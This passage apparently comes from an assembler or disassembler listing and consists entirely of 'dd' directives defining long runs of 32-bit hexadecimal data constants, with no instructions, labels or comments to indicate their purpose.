		dd 755EC69Ch, 44D6B0F3h, 4E0CC937h, 0E5DE16B8h,	52AB02C0h
		dd 0F2620A8Ch, 5730E55Ah, 0D4A56EC5h, 0AE09D43Eh, 63DE013Ch
		dd 100FA3BFh, 1F1F7160h, 0C301E1FFh, 3A218825h,	0F6F1292Bh
		dd 0C27ECD2Bh, 756035F6h, 0D213D8D5h, 850453B9h, 8EAF33F9h
		dd 0C4092297h, 0AF026DA4h, 0C022978Eh, 743797h,	799FF202h
		dd 94CD34Eh, 0E4C52AC7h, 6BAE605Bh, 395006Ah, 0B445D8AEh
		dd 5F605C34h, 55072118h, 54E8533h, 88BB2917h, 2BE361B2h
		dd 88C36C91h, 0FA34182Eh, 0F88119DDh, 691C482Eh, 9BA9B389h
		dd 94A6A079h, 0DC17006Bh, 995610DEh, 937D010Bh,	8CA09C09h
		dd 0D67F54F0h, 0DC091646h, 38713F7Fh, 0AC5D90A7h, 0E1700062h
		dd 44F57C71h, 0B84FDD33h, 57047349h, 81B97A37h,	69306B5Fh
		dd 0DD20DAE2h, 0C71169BDh, 0FF4080EFh, 24A4C8Bh, 8E3F942Ah
		dd 9AD770D0h, 0B795D84Ah, 60271BC5h, 0B75FFB64h, 0F2AD5DF6h
		dd 61909F20h, 181206B0h, 16BF9AE3h, 2FA184Fh, 1E0ABB61h
		dd 0FA15EE3Eh, 58164F29h, 2EE035B6h, 18955CDAh,	25BD2378h
		dd 5DCE2B0Dh, 48C8515Ah, 0B11600C1h, 13A84EECh,	0A27489B5h
		dd 5D117701h, 6DE95F8Dh, 0B16D3225h, 0BA0165B8h, 0C4F3C09Dh
		dd 3D508E53h, 0D7A3AAh,	0CE4CCFFAh, 0E83E56BFh,	0F9581B09h
		dd 0BD6A7012h, 9FDEF838h, 0C7FDB500h, 7C8C66Ah,	208D90B8h
		dd 5B4B1C09h, 0F5826098h, 0D202616h, 3F099F32h,	42AF5E59h
		dd 0B198024Ch, 0E9615C07h, 89009957h, 62FE1C92h, 45CF5A0h
		dd 2040152Eh, 73A366h, 36B68AEBh, 79C8D8BBh, 0C57CF16Eh
		dd 0F4FF035Bh, 52489692h, 92957422h, 78B17BDFh,	8500B121h
		dd 0FBBDF06Ch, 0C24C466h, 0E9CCA468h, 6095FA7Fh, 1375BD9h
		dd 0D2BF0E35h, 0A0CEE4Eh, 1CB04256h, 9037A249h,	504BE650h
		dd 0BF1E4042h, 6F6E5209h, 0D6945638h, 0CB001B46h, 93DC7A5Bh
		dd 0A90E831Fh, 7792BB66h, 5880D0ECh, 48550F9Fh,	0FFC83D4Fh
		dd 0B2330063h, 0E6E5847Eh, 0FD13D74Ch, 76DB615Fh, 6A85BF81h
		dd 39E6899Ch, 0EB107108h, 1921D307h, 70939C5Dh,	0E63EE165h
		dd 0AAD5F0B1h, 45420F64h, 0C3F29D16h, 0BC312Ah,	5465EF81h
		dd 0E94815E6h, 68E9354Bh, 9F748186h, 85DCAC8Bh,	3CABF81h
		dd 1DDD9EA9h, 0BF66D04Ch, 0F7B93B2Dh, 9A5F8F12h, 40165CC9h
		dd 0B2B82162h, 9B00457Dh, 52C0B6FCh, 74A3D03h, 9F4B78B1h
		dd 0E0599918h, 0F934F544h, 7DC5AD46h, 991A45CEh, 7FF94BC9h
		dd 1523756Bh, 6E65831Ch, 0D13595A5h, 0F2165002h, 3A30DF4Bh
		dd 0E28B028Dh, 0E98256F9h, 0AD4C6F4h, 0ADD78001h, 889827AEh
		dd 9674C048h, 0CBD5D902h, 0CC605021h, 0E686E1h,	0D3D4FD30h
		dd 2161626Fh, 1F001BEEh, 3817A79Bh, 3FF779E6h, 9625C674h
		dd 0D72F6E37h, 8D01F4B8h, 83289926h, 4A92148Eh,	9C1DD0Eh
		dd 0A87B7985h, 2510883Dh, 1959CB53h, 7D059718h,	0E25FC4AFh
		dd 6CE7CE57h, 3BB548B1h, 1CB296B6h, 940530h, 0A561BE40h
		dd 60560D69h, 5120C390h, 83589533h, 97613440h, 0BDE8011Bh
		dd 659528A5h, 6FE371B6h, 0F9A8E484h, 895BC85Ah,	0D97DB103h
		dd 5DCE61F9h, 954ABD9Ah, 0E0B4A6DEh, 9702BF6h, 30F956B0h
		dd 90A7BD60h, 7EFD8A25h, 1646D618h, 0B318E05h, 0B5A60FF9h
		dd 29022E48h, 1A140D95h, 0EFBD4A5Ah, 86740C5h, 1C4983A4h
		dd 506F9F62h, 0AD2E9CB9h, 1A10B59Bh, 895E25E5h,	0CA1F2AB9h
		dd 9224FB94h, 802B30EBh, 9B58DDBh, 7EB15D77h, 5129C28Fh
		dd 9F3845AFh, 31AD8074h, 0C40F4E8h, 993B2CDEh, 198429BFh
		dd 0C19A90BFh, 2F55F933h, 1231B928h, 0B729B19Dh, 0CEF84BB9h
		dd 0B915D4D0h, 70981E09h, 96950CA9h, 9DB59DBAh,	0CE9A6101h
		dd 0F7CC145Dh, 80869933h, 9EE60716h, 0D80337C3h, 0DA0CF444h
		dd 2841B822h, 0D15A09FAh, 0B182CBFDh, 0D056628Eh, 0B2165951h
		dd 0F395057Bh, 0C076A74Dh, 0FFDEA540h, 0A903025Eh, 0C6E235E4h
		dd 400B6F77h, 0F0CFEECBh, 0FA580605h, 0A6046AEAh, 0AF1315B1h
		dd 19E5FD75h, 973DAD21h, 4BE88F4Ah, 0CB876E9Ah,	82B93048h
		dd 0E9257B6Fh, 0B7DB60B1h, 0C18B2C8Dh, 720ADEFEh, 0ADAB889Bh
		dd 56226109h, 0D9DF5A2Eh
		dd 2882F999h, 0BD0B2056h, 8940CF76h, 738278Dh, 5AEACA16h
		dd 5033E061h, 904F23B3h, 6D05116Eh, 0E96A8A08h,	4FC4BD9Eh
		dd 0DD212FC1h, 5CCE2255h, 1B848125h, 0A860ACFAh, 0D42C12AAh
		dd 60D5B00Bh, 76265FBEh, 0AE493D12h, 8EE461h, 24D6B4AFh
		dd 0B28B8556h, 0EF388600h, 0D1EEF56Eh, 0F12A2EA9h, 0BDB1091Fh
		dd 0AE614D84h, 4AC0BE9Eh, 0F2685D3h, 0C3058922h, 3F4DF7C8h
		dd 9D2D547Ch, 4482CD55h, 0BAA36019h, 9FD9F92Bh,	58913D30h
		dd 0C584A505h, 0D474AA2Ah, 0E0028Ch, 0D9DB81E1h, 0D4D0127Fh
		dd 28304412h, 0EF257C00h, 5A6E5095h, 5B8BB790h,	0FE255B6Ah
		dd 0FF899076h, 72440ED1h, 0CA4AC6ECh, 70983842h, 78CCFB95h
		dd 0B3A88F8Ch, 6A13EDF8h, 0D5D05602h, 71FABF90h, 17305AA2h
		dd 22DBAF48h, 8649A881h, 7C83F8C5h, 2AE55BB0h, 0AA00D5F7h
		dd 1E6D034h, 0DA162920h, 8C24EF1Dh, 80459EAFh, 0D014EFFEh
		dd 816E4A86h, 20E178h, 970E88E9h, 25484616h, 0E8FC5998h
		dd 0BBDF80DBh, 9290F40Bh, 0C42A566Fh, 81F434BDh, 0F0B5A060h
		dd 663A023Eh, 612432BAh, 9B690D5h, 0C1F94D85h, 0B84EED4Ah
		dd 9018C17h, 802025D0h,	132E99C7h, 117EBA63h, 0BB56620Ch
		dd 0A9D609DEh, 1BAC72A9h, 357708Ch, 0C5355933h,	0BBC4E1B1h
		dd 0C6848417h, 0B92785EEh, 0F096B878h, 0FF33007Eh, 819AB39Dh
		dd 541769DFh, 2F0501F9h, 0BAFD2111h, 0E809ABE8h, 7334B0FEh
		dd 3D4D1185h, 22A4CB29h, 72B805BFh, 0D1B06760h,	429F10Eh
		dd 0C11092ADh, 0ADBF0227h, 110E80DBh, 14E81125h, 0D4CAF017h
		dd 8200B7F6h, 0B19A328Dh, 9271CA8h, 3F64ED11h, 0EE77D705h
		dd 803CE5A2h, 0E05FDC92h, 0D309BF8Fh, 71737683h, 0BD090788h
		dd 7F4B384Dh, 9D12EB46h, 8EE22C45h, 89B50906h, 5FE2F19h
		dd 68B20F4Ah, 759E262h,	0F09B5809h, 2F1D6591h, 2F17EFD1h
		dd 8421B6B6h, 722D291Fh, 0C1A5E848h, 9DBF6617h,	50A7702Dh
		dd 47554C18h, 0B61E2158h, 2F6189E8h, 56047D71h,	3EAC5BF5h
		dd 0C31BC180h, 1004622h, 0CED08C80h, 6A1419FBh,	918932EAh
		dd 1C95809h, 20D2E9AEh,	0F9CC7810h, 482EE35Bh, 3182159Dh
		dd 12229B5h, 91DE8A51h,	2A7D4A74h, 9585D585h, 9D11734Ch
		dd 2FC81BE9h, 0F5BD2B8Bh, 96564962h, 11162BCAh,	91DA05B5h
		dd 0A548E985h, 70460033h, 0A7BE8EC5h, 0CD121DC0h, 9CE6EF8Ch
		dd 0FB6FB216h, 43C375DBh, 0FBD059A1h, 7B485C14h, 2B21261h
		dd 0E4950509h, 8A0F3A9Bh, 0B5FC23C4h, 6EAF195Fh, 35605A6Fh
		dd 4E180B0Ah, 0F7DEB0EEh, 344BFh, 4584DEA8h, 0DC4A16B8h
		dd 10286148h, 0B90B33C1h, 52D3104Fh, 2AA93D0h, 9D295C92h
		dd 0CD5634EDh, 0D8E1F892h, 6C7686D9h, 85BBEB0Fh, 9D550592h
		dd 94F3FA32h, 31B1F507h, 9E9890C4h, 0C05C2B5Dh,	165A7157h
		dd 0A65AF3B6h, 15F9D7B4h, 1E074EA8h, 2DBDBB65h,	0A90B0C73h
		dd 4D3930FDh, 7A5E893Bh, 726B0346h, 0A17FF99Fh,	532E894Bh
		dd 76FFFA7h, 0A7904C00h, 0E5FBAAB2h, 7452334Fh,	0F027A6AFh
		dd 97FD8AD2h, 1A56A63Ah, 85B604D4h, 0ABFCD92Bh,	1AC8C02Eh
		dd 2EE0EEC7h, 1E79584h,	0BDD781C6h, 3A5E3DCAh, 0C680E4DBh
		dd 0D2132FB9h, 4A4566EFh, 8127EBCAh, 0CB60A2CFh, 0ECD1320h
		dd 0B848DA32h, 96E3113h, 0DB722E25h, 95E16156h,	9C105B13h
		dd 0FF1616CDh, 80F79BE1h, 99B80E75h, 60DA2D95h,	2F018FD1h
		dd 0FDC6D9A0h, 7762DF68h, 1760565Fh, 87C23095h,	5CFB8B61h
		dd 0A7F751F7h, 4B945089h, 28D38E17h, 9D1213FFh,	0D3E328A1h
		dd 6093B688h, 8DB8F9FDh, 788942Ch, 561A3109h, 0E3514BCEh
		dd 99404C1Fh, 0E877A46Ch, 0B946040Ah, 0B8D5C0AFh, 0B5E04FA6h
		dd 92024BF9h, 0B2B12A4h, 1A355DC5h, 0A253B1ADh,	0C8C3DA2Ah
		dd 23CDC014h, 0FC92D5BDh, 0FEA2504Bh, 8957D600h, 293B1CFCh
		dd 475D5316h, 60F380FFh, 0A0059BEh, 33BF2617h, 626593A3h
		dd 2404B261h, 1D085074h, 6AA43D15h, 0FA07F478h,	65CD4CE4h
		dd 0C704E145h, 29140CD1h, 21FBD10h, 7EB06B68h, 0E99AC1FBh
		dd 73E56C6h, 52A05394h,	756D88Bh, 11A46D6h, 6A126980h
		dd 873B7E63h, 1614A255h, 806C7A5Ch, 0E9FF1733h,	0AB4AC512h
		dd 0EE314720h, 7BA10055h, 0C34E6944h, 8800E767h, 2C563DF7h
		dd 27B5095Fh, 0A67C1BE1h, 0BCE380E1h, 0E93A162Eh, 0F030EC50h
		dd 68D7620Bh, 0CB2E2261h, 0F6FB5423h, 519CF6BDh, 80FA3CFCh
		dd 0A78241D1h, 0CE680E14h, 28A9E7C3h, 7B5F3A5Fh, 897650CFh
		dd 644CED01h, 49EFA9FCh, 53E03A57h, 19DB260h, 0ECD77548h
		dd 20890234h, 5B48F972h, 6AFEA4BFh, 4F2E120Dh, 6E6AC8E1h
		dd 5ADE0002h, 0B7AA46FDh, 6F650B06h, 35D65150h,	0A4AD7940h
		dd 72D400D6h, 341821C2h, 0B602E04Eh, 9F0C074Ch,	281680E9h
		dd 3E0D440Fh, 0CF805783h, 0B3E738CEh, 8E0967E4h, 565B1508h
		dd 56EADE3h, 5A2F44BDh,	0E0E7E7B5h, 4BF40E79h, 313B301Eh
		dd 17408DBDh, 325A0968h, 8BDFEC86h, 0BBE7D633h,	6E30BF07h
		dd 5A5FB18Ch, 0A5DF2458h, 0D098D12Dh, 31A125CCh, 5B6BF159h
		dd 4A4E50F6h, 87E26400h, 0E5BFFC8Ah, 60DE04CBh,	0F104D380h
		dd 16972C2Ch, 64BF5BDFh, 0F96F9572h, 6EC5B9CFh,	5F4C4236h
		dd 6147494Ah, 0F7808FB7h, 2AFD9647h, 0CB194B0Dh, 0DF81010Ah
		dd 5105C954h, 9D24220Bh, 8FF865DBh, 87332186h, 0D835AFDDh
		dd 0D86B2700h, 1E8F518h, 33CB5798h, 6B2F4D9Dh, 10A039B7h
		dd 52B855F7h, 6676B201h, 61CD2BBAh, 98F1282Eh, 5DFD044Eh
		dd 7C3A98E8h, 2DD2480h,	5BA66B59h, 0AA03DE8Ah, 3EA96D57h
		dd 0CB80F0D9h, 0EC38BFC7h, 27840D25h, 503D15F9h, 7482DC03h
		dd 4FC7F8E3h, 2EEE252Bh, 0ED9537C4h, 7D5BE1B6h,	0B0876ACBh
		dd 0ABB07F09h, 0C8006CFDh, 0CA8D2A7Dh, 1B8B72BFh, 0DA626671h
		dd 0F395CFD6h, 181B5927h, 0A591008Dh, 1B051D9h,	600B50CAh
		dd 0FA61DE8Bh, 949D5AD7h, 0ACC6B914h, 7D958C1Ch, 0C062AF80h
		dd 9462344Eh, 2E4D60h, 26DBD89h, 0BC0D9697h, 0B274D4CFh
		dd 3DA33A5Eh, 70E4D946h, 0F2A69897h, 5BC4BB04h,	20BA400Dh
		dd 9F630107h, 6BA9A000h, 335E70Ah, 7B9E040Eh, 0AFC4D39Bh
		dd 0B0D41CFh, 2BF5959Dh, 0C54A41E3h, 80D0DBDAh,	11B58910h
		dd 9077822Bh, 0F8E8887Eh, 0D5313FD0h, 0FF5804Bh, 0E922DFB7h
		dd 0B4550008h, 9326F904h, 3A972089h, 75B5FDDCh,	0A29AE20Fh
		dd 0A0B523DEh, 4E175D34h, 0A1150B61h, 7609EDBBh, 0CF42335Fh
		dd 47812C3h, 91852976h,	4E438E2Ah, 0E209986Ah, 0F955A161h
		dd 9AB7090Bh, 91DD35DFh, 68428019h, 4C80F5Ch, 8D896086h
		dd 0F5D49109h, 9523E461h, 0F61AA929h, 3F0F3D08h, 4B809628h
		dd 0FE1EC3DEh, 0D2C780C0h, 0BB0476A4h, 758DBF17h, 42DE15BCh
		dd 59E97F35h, 5651145Eh, 0EB499612h, 7B52D1DAh,	96BECF34h
		dd 4F9B8205h, 139BE78h,	1F562E46h, 6FD9F26Ch, 5A0CC8h
		dd 0C3DD347Dh, 0D54B1EFCh, 0B2234D00h, 32717F0Eh, 34DA09D6h
		dd 0F0559D2Bh, 0A85B4BE3h, 7F2EAA18h, 0D6E800ECh, 0FB8B4F39h
		dd 40509A97h, 82267DB7h, 12BAEC77h, 291B559Dh, 0F2206E31h
		dd 18B7DCh, 16F3AAFAh, 891E8A63h, 6ADDC500h, 726728C4h
		dd 0D6507A43h, 5B8D826Eh, 0CDEB705Eh, 0E17E40A9h, 8A093637h
		dd 79509F13h, 0FDA04553h, 28FEC66h, 724A8475h, 1557C7A8h
		dd 2ADFAE16h, 8D4DB540h, 9C601564h, 0D009BB35h,	593AA814h
		dd 918C00DDh, 703FC36h
		dd 0A4658D00h, 7C76390Eh, 6CB71C90h, 2E58444Ah,	0A97AEEC6h
		dd 607F600h, 0DA4A5C35h, 0B79A9E97h, 0ED411ACDh, 0C16A87E9h
		dd 0EABD03C9h, 0C18BCC48h, 0C0D16DB5h, 84FDE05Bh, 14A69200h
		dd 31A2A999h, 0AB26D28Dh, 0DCE4B7E6h, 109D7A1Bh, 5E5367h
		dd 0EDBD1A0Fh, 506B3C38h, 85379B5h, 982F111Dh, 4EBD092Ah
		dd 0B914C429h, 7ACE889h, 0DE4D1EA6h, 6F0B7980h,	379FFDD8h
		dd 8C4594A8h, 0AD0A620Bh, 0DE585Ch, 0CE572551h,	0FECB8090h
		dd 0BA4F54Fh, 880550C0h, 500640D5h, 0A9B2BF3Dh,	4B2B978Dh
		dd 0C4D0BF79h, 0F13B0984h, 15EF960h, 6884E193h,	0BC3DFDAAh
		dd 0F44D008Ch, 91B1D5D7h, 7A03F661h, 0DE2870BFh, 97647A3Fh
		dd 18C5A794h, 0CAAE0EF5h, 8EB5E0A6h, 0BA4E142Eh, 760B9528h
		dd 0E0EDD1FFh, 7B2818C0h, 0B194973Dh, 0F13E2E45h, 25BF3DFAh
		dd 269CE002h, 0CD905EF3h, 0B4FC7A4Bh, 49196680h, 37014305h
		dd 10139558h, 11769035h, 0E9FC8A04h, 8D38AE1Fh,	9739906Ch
		dd 29E2A8CDh, 0C7D8C021h, 4B4A04BEh, 8C61237Bh,	0D600A7CFh
		dd 0CC01DA05h, 0B585418Ah, 0D45A54DBh, 0CB4EC293h, 0DDBE13E0h
		dd 271EBA0Bh, 0D36FF561h, 0BE961640h, 7DA1057Fh, 0F8210149h
		dd 0E50525F0h, 647D2588h, 95879F8Ah, 5104F829h,	76BD6159h
		dd 0C48BE94h, 57EAD825h, 40F2EFD7h, 928F2FE5h, 544C6297h
		dd 0FCFF8961h, 2A4A2978h, 0EC81279Eh, 204A9752h, 0CA25E339h
		dd 165CDCA4h, 0A286AC0Ch, 3D92286Eh, 0B06227A0h, 0D5051511h
		dd 17C17A98h, 0FC109D84h, 4E006894h, 0F4FF140Ch, 56C999h
		dd 31297950h, 0EC37E7ACh, 0D142AE97h, 0A6626025h, 9273DD7Ch
		dd 0C2560902h, 1E4A64A5h, 40368563h, 0A6EF2097h, 0DC099F6Fh
		dd 0DB06BAC6h, 11E48011h, 4FCF938Ch, 0B8B21D0Bh, 55830B2Dh
		dd 0BC212C04h, 1809942h, 3D5EF912h, 0AB3A503Eh,	84FCD100h
		dd 0D3DF9D33h, 0B6DB1248h, 0F129C8E5h, 860A2801h, 2A543040h
		dd 80BFC06Ah, 8B14D7DFh, 8096E8D1h, 7D23A6FBh, 585C00C3h
		dd 0F3CBBD80h, 810792E1h, 0CA253266h, 469ED350h, 5F7D0CD2h
		dd 0F3D9DE9h, 7F398651h, 8B87D2ECh, 49072FD8h, 9844054Eh
		dd 0BD10018Eh, 8A120DADh, 2868F1DDh, 0C6EBDh, 0C552B0BFh
		dd 48A49736h, 4BF95013h, 8509BE90h, 85A69D61h, 8A4A2354h
		dd 1ED044B9h, 0AE6E0600h, 7BC45B1Dh, 1CED5900h,	965903Ah
		dd 24F30BA0h, 93769A9Dh, 795F5B09h, 3326115Dh, 0DC8D8057h
		dd 1378BABh, 9F82DB81h,	5C2C2688h, 81958914h, 0BDDAB7C4h
		dd 85DC8454h, 0B1E8D3EDh, 4DF8B4Ch, 0C52DAAFh, 0A58B12BEh
		dd 44A67AF9h, 0B6910CF0h, 6506037Fh, 71E0FFA0h,	0F4525C8h
		dd 9F00F35Bh, 0B82BFE65h, 40DE030Ch, 530F0D18h,	0C145FFC8h
		dd 114A1BE6h, 9319DAFAh, 0D2666B70h, 85B74C27h,	0B9C05D3Ah
		dd 5B0FE338h, 61F072B6h, 0B458B241h, 34362427h,	22B98A16h
		dd 0AEF06035h, 1FE5A650h, 273A61CBh, 5CC729FAh,	1100DEBEh
		dd 0CEA78C85h, 0BFD0EA0h, 0D22B5612h, 7BF7671Ah, 8FCDA580h
		dd 490A4DADh, 0E5202CD0h, 0DDBF0433h, 0AF4CCAFBh, 18230B6Ah
		dd 53640100h, 5E8968AEh, 3AF2B58Dh, 75A9FE81h, 16D8E73Ch
		dd 1F4ADAEFh, 1BB2F9E6h, 8BF45532h, 68417703h, 0F35C0955h
		dd 5B79F411h, 0ADA0415Ah, 71E06C67h, 3458406Ah,	975D2212h
		dd 51443714h, 0AD2191F9h, 30002179h, 7177F341h,	90D5EABAh
		dd 8B395475h, 0FFCD955Fh, 9B611564h, 843165EFh,	9E1FFA1h
		dd 8B7DC9AAh, 5F2F0D0Ch, 0A044711Ch, 248AB352h,	64692785h
		dd 0F292F5Bh, 80E91B02h, 0A6EBFF19h, 0BF2125D3h, 521114E5h
		dd 1CF4FC6Bh, 0C7F96096h, 7BB7D3B8h, 519D04DDh,	9EB1634h
		dd 24790AE0h, 59BD2902h, 90CDD722h, 44981844h, 2A27008Fh
		dd 0BD23FCCFh, 71951A4Dh, 2DF09A2Ah, 3EDCA6D4h,	8F974D93h
		dd 1F7F054h, 410C1283h,	6F2DAA26h, 7BE36A2Ah, 0BD657C03h
		dd 0A2A8689Eh, 676B5E63h, 406D6529h, 61BB50A2h,	564A66F3h
		dd 0BDDD8A15h, 172A1FF4h, 1A279297h, 0C67C466Fh, 68031B10h
		dd 0D1797FF4h, 4656F9DAh, 0A5840B02h, 9BD072Eh,	600D3957h
		dd 0C620D3F5h, 613340EDh, 37118297h, 905532D6h,	3E4B90D9h
		dd 38FAA6F7h, 0AC4B01A3h, 0FEE3C0A0h, 0BC3119h,	0CEB7629Dh
		dd 4A4DB230h, 0D326A178h, 0FE89397Dh, 956870F7h, 46EDDF0Bh
		dd 182295E0h, 0B531277Fh, 2B15215Ah, 48B75BDh, 0D95BB66h
		dd 0C8D343BCh, 9B7D7F53h, 0D43AE800h, 0D8FAB6A6h, 0ED352D71h
		dd 9D04DE5Bh, 80282079h, 7CB8CB2Dh, 0E0EFF4BBh,	0D95F8B68h
		dd 4532EA82h, 8342274Eh, 46CA22FDh, 0DC73F604h,	39CA8F00h
		dd 0BC4E586Ah, 0B3962410h, 0B65F3A64h, 0B021E529h, 342E7CABh
		dd 0C8CDAAC1h, 4F09CB2Bh, 0DAF7D020h, 9562001Bh, 79F363F5h
		dd 51004B3Ah, 0F9CDB8D2h, 4E314ABDh, 4F17F80Fh,	3E10C5C8h
		dd 61026BCCh, 404E5404h, 990BF181h, 46A23E5Eh, 1282B574h
		dd 325D39E3h, 51F3531Dh, 0BEB9700Fh, 1D7E7D98h,	40E83A97h
		dd 8220992Ch, 0B36FF680h, 6088077Dh, 0C9D12C80h, 0E7D901E1h
		dd 26612009h, 80BB02C2h, 0E25F2F84h, 0A11ED59Bh, 0BC618DADh
		dd 0A27B6DEBh, 2934CDC8h, 0DE645037h, 3EE90615h, 0DC419C17h
		dd 5BEEC22Fh, 0B06725A1h, 3BBF3A56h, 606B1273h,	0F1FB49B3h
		dd 0A86129A5h, 0A4BBC0E6h, 9744DB48h, 104A7914h, 3AEC0BADh
		dd 0DCD85F00h, 6441DB89h, 29BD120Bh, 0E38EBC15h, 9B5E5EDAh
		dd 291AC08Bh, 5ADCFE5Ch, 2F65F177h, 68F96E13h, 8C1DACh
		dd 8DCECA12h, 0AD062F26h, 0FBF6FB26h, 2925D305h, 34CDCDABh
		dd 824BB606h, 2723B38Ch, 0EF0B399Dh, 0AB1C5Dh, 0CDC2A6E8h
		dd 234F350Bh, 2651A97h,	42241DCh, 15B250h, 4E5A891Dh, 25230E2Eh
		dd 52C283A5h, 0FE92D537h, 4E5AB3ABh, 107D870Eh,	51109C58h
		dd 19E64F1Bh, 12124B48h, 5E51E30Eh, 0EBAFCAC9h,	8E07D4Dh
		dd 5A58FD8h, 8D891A37h,	80ABD451h, 25189A3Eh, 50E6384Ah
		dd 753016B2h, 8D734B63h, 0E90B6E43h, 0DB14DD05h, 2FD98A52h
		dd 25F45B50h, 0D9D45162h, 0A2DD83DCh, 79057D20h, 2B41A1A5h
		dd 6AAE3675h, 22ED5F46h, 6AC49C82h, 13016461h, 21EA12F5h
		dd 170AB16h, 4B618531h,	0C1CC2422h, 7F8D094Bh, 827B98D9h
		dd 4E5F22D6h, 0DF80158Ch, 5229270h, 0A729BB04h,	54901BFDh
		dd 28E4E380h, 0F26B8F0Fh, 30CB52CFh, 1650F540h,	0A81B7E2Bh
		dd 4200AAD7h, 4F102D17h, 5D9025D4h, 0C594D025h,	346C1A15h
		dd 0E007CD55h, 0F9F152AEh, 781E8927h, 0FCCB00EDh, 8FD3BF96h
		dd 0D19F6F45h, 0FFF78012h, 0F5C19BB1h, 8F0120ECh, 26DD29FDh
		dd 0BB40E03Fh, 4E5B7D83h, 0E477A696h, 0A55EBCBAh, 80F12AAAh
		dd 0F91DD4A7h, 0B9BC09EDh, 3A55F88Bh, 500853E1h, 2A0E0EF7h
		dd 0C0A1B970h, 49BD232Ch, 6FE5B52Bh, 0A26EB571h, 43CD4AA1h
		dd 69B5206Ah, 711E2079h, 96C0136Dh, 81FDF7C8h, 80974CDFh
		dd 5FC0C93Fh, 4A3A1497h, 0EC9DB971h, 10EEBDE8h,	800779BDh
		dd 0A913BC3Fh, 4A2D9D54h, 4BB8648Bh, 0F388C61h,	0C0448C5Bh
		dd 5B8DD8Ah, 122E6E5Ah,	0E6BE1145h, 0CDD7099Dh,	600B7160h
		dd 0E7E9DE8Bh, 5F85C295h, 260126B7h, 0C18B71CEh, 0ACDE352Bh
		dd 9111061h, 50905B05h,	9E7BF852h, 0AF911781h, 0A0C38368h
		dd 3E0C321h, 0FC4EB95h,	0BAE4B731h, 893E34ACh, 45C6AF4Ah
		dd 3DB795A4h, 5864F425h, 0B79F6AFCh, 96368B0Ah,	9B7F10E4h
		dd 3768A301h
		dd 80986B67h, 6016C02Eh, 0D298AD19h, 649FF1EEh,	16CD2501h
		dd 4DCB8C54h, 58EC40F9h, 37075C30h, 0A186EDCBh,	8F60B1CAh
		dd 0A616DCh, 0B2FBA950h, 0D11C7296h, 904E4F7Dh,	0CAF9C8h
		dd 84546A8Dh, 0D687F8CBh, 0EB1C2572h, 2797F94Fh, 8AF002AEh
		dd 9DE09080h, 0EE13B008h, 0FC92F81Bh, 0B5E3C6BDh, 0FBAFF5D9h
		dd 0F673A739h, 2D701650h, 43FC0F75h, 2587502Dh,	0DF66FB8Bh
		dd 4816DCB0h, 350BC1F7h, 0A7940AD1h, 95BE58C9h,	7F45AD14h
		dd 2129E9DFh, 0E46E3E09h, 2F80A13Dh, 5ED28734h,	9BA0EEB3h
		dd 899D4F75h, 42B8286h,	9AB75524h, 570B9701h, 568553E4h
		dd 0AB5F0F7Bh, 1423916Bh, 0E925F820h, 8FE678Dh,	8848196Ah
		dd 328602D6h, 7C9D3E05h, 0CD0002D5h, 0A40B072Eh, 0A944D4D1h
		dd 0F16BD7F8h, 0A59F0E00h, 7213CF07h, 9404F75Eh, 4160B49h
		dd 91C0188h, 0BD00D590h, 5061C453h, 81C8F1BFh, 0FE5A2EBBh
		dd 0D4E36F55h, 5176902Dh, 0B88262DCh, 145C65B5h, 8187025Ah
		dd 0CB67D72Dh, 40424D2Fh, 59BD3374h, 4BB71D40h,	89298CBAh
		dd 0D74F2BEDh, 7FF6B36Ah, 1801BDE5h, 1DDA7D8Eh,	8866B609h
		dd 0F6262751h, 6F2F151Fh, 8B1242A7h, 0BB000604h, 1619610Fh
		dd 21333197h, 0C3A214h,	72B7E69Eh, 9D4C2873h, 581C851h
		dd 0EC4E88E8h, 30DBE60h, 169AD9BCh, 0F7B08304h,	30E1B061h
		dd 0E63AFF12h, 5F8BB770h, 0C2AEFC05h, 0D0928DE1h, 0E0973D56h
		dd 0D47E5189h, 3C2FAC76h, 7C99633h, 8180EBADh, 6758F7EBh
		dd 272B0E41h, 0BCFF4008h, 10014653h, 99B9B82Eh,	84792B64h
		dd 5F407DDCh, 0AB043EC9h, 0DB215D2Ah, 0C16DD95h, 0FF808480h
		dd 8B802999h, 0AF83BFD1h, 4F1A093Dh, 832B7AE9h,	2D1F9D22h
		dd 7158852Bh, 0F3C1504Ah, 0AB8B2B3h, 83DA7A64h,	2F4A6162h
		dd 0F44F3EB7h, 1209D0Ah, 47E92810h, 0D9B7270Eh,	0A912B45Eh
		dd 884AF8B3h, 8FB631DBh, 0B19B41E1h, 4A008B3Fh,	7488E599h
		dd 8B2031D9h, 0E2046282h, 5BF54901h, 95BF08E6h,	55793037h
		dd 0E78532D1h, 70ABE3E6h, 0B9B682AEh, 19102A20h, 0BEADEB80h
		dd 80F238FCh, 5F1EA8F3h, 0FF7F0F9Ch, 52F87349h,	2F12AAE3h
		dd 1488C02Bh, 0B26F03A3h, 927595E2h, 0D4BFD2F1h, 6B4A2099h
		dd 0DA5B22DBh, 88AC96DEh, 2D38E090h, 6184485Ch,	0B5010227h
		dd 29264971h, 0A9AD75DAh, 51946E30h, 15A839A9h,	0BACE278Ch
		dd 80F5CF1Ah, 55BBC278h, 5AB57C09h, 0A2EDE814h,	0C0C9A156h
		dd 2B2B5FD4h, 3C825E12h, 51EB54F5h, 0DDEB178Dh,	0BA8024BFh
		dd 293B021Bh, 0A95309Dh, 0E5BD31D1h, 1A3B4491h,	54D3350Dh
		dd 7171690Ah, 0D450BB00h, 1862C4h, 0DC0FB0BFh, 0CF66F496h
		dd 36497800h, 3156B624h, 0A4A14A8Dh, 0FF255B0Bh, 0C07F6DE1h
		dd 1D90C27Bh, 342DFEA0h, 1B5ABC5h, 1C988FEEh, 0F62704A2h
		dd 2F12DECCh, 37B2A162h, 0AB049284h, 0AF4AE77Ah, 0BE21A7C8h
		dd 8E9347FEh, 0ED1DA040h, 59BF2298h, 8060407Ch,	6125F1C3h
		dd 1A6A655Fh, 1A769711h, 0DB3300DCh, 5D5E71F3h,	854BAF64h
		dd 7093B2h, 0B105074Bh,	0F46A2D21h, 0CAFADA39h,	0EC31CCFBh
		dd 5FFC8A04h, 92AE8D29h, 0B8756016h, 0B51BC998h, 0CC2355DBh
		dd 4C327258h, 0FA25D959h, 0DF4AA362h, 5CA78054h, 0DE1BACC0h
		dd 0A00CAAFEh, 0B27AF4CAh, 0AF164A31h, 985AF86Eh, 0CE021FF7h
		dd 0A9FF9FC8h, 0A7455598h, 0F0E50h, 3D43EB4Ah, 6097990Ah
		dd 185230Ah, 1D085926h,	9061002Bh, 0BF505B51h, 583CE009h
